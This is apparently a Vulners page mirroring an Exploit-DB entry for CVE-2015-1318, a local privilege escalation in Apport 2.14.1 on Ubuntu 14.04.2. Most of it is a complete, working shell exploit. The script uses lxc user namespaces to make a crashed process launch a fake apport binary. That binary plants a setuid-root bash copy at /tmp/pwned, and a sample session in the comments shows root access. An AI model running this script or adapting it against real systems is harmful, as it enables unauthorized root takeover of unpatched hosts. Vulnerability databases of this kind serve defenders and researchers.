Lucene search
+L

Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation

🗓️ 17 Apr 2015 00:00:00Reported by Ricardo F. TeixeiraType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 69 Views

Local Privilege Escalation vulnerability in Apport 2.14.1 for Ubuntu 14.04.2 LT

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Apport/Abrt Local Root Exploit
15 Apr 201500:00
zdt
zdt
zdt
Apport / ABRT chroot Privilege Escalation Exploit
3 Feb 201800:00
zdt
circl
Circl
CVE-2015-1318
14 Apr 201500:00
circl
cnvd
CNVD
Apport/Abrt Local Privilege Vulnerability
17 Apr 201500:00
cnvd
cve
CVE
CVE-2015-1318
17 Apr 201517:00
cve
cvelist
Cvelist
CVE-2015-1318
17 Apr 201517:00
cvelist
exploitdb
Exploit DB
Apport/Abrt (Ubuntu / Fedora) - Local Privilege Escalation
14 Apr 201500:00
exploitdb
exploitdb
Exploit DB
Apport/ABRT - 'chroot' Local Privilege Escalation (Metasploit)
5 Feb 201800:00
exploitdb
exploitpack
exploitpack
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation
17 Apr 201500:00
exploitpack
exploitpack
exploitpack
ApportAbrt (Ubuntu Fedora) - Local Privilege Escalation
14 Apr 201500:00
exploitpack
Rows per page
#!/bin/sh
#
# CVE-2015-1318
#
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
#
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description:    Ubuntu 14.04.2 LTS
# Release:    14.04
# Codename:   trusty
#
# % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit

TEMPDIR=$(mktemp -d)

cd ${TEMPDIR}

cp /bin/busybox .

mkdir -p dev mnt usr/share/apport

(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
)
EOF

) > usr/share/apport/apport

chmod +x usr/share/apport/apport

(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
    lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null

/tmp/pwned -p

rm -Rf ${TEMPDIR}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2015 00:00Current
7High risk
Vulners AI Score7
CVSS 27.2
EPSS0.04187
69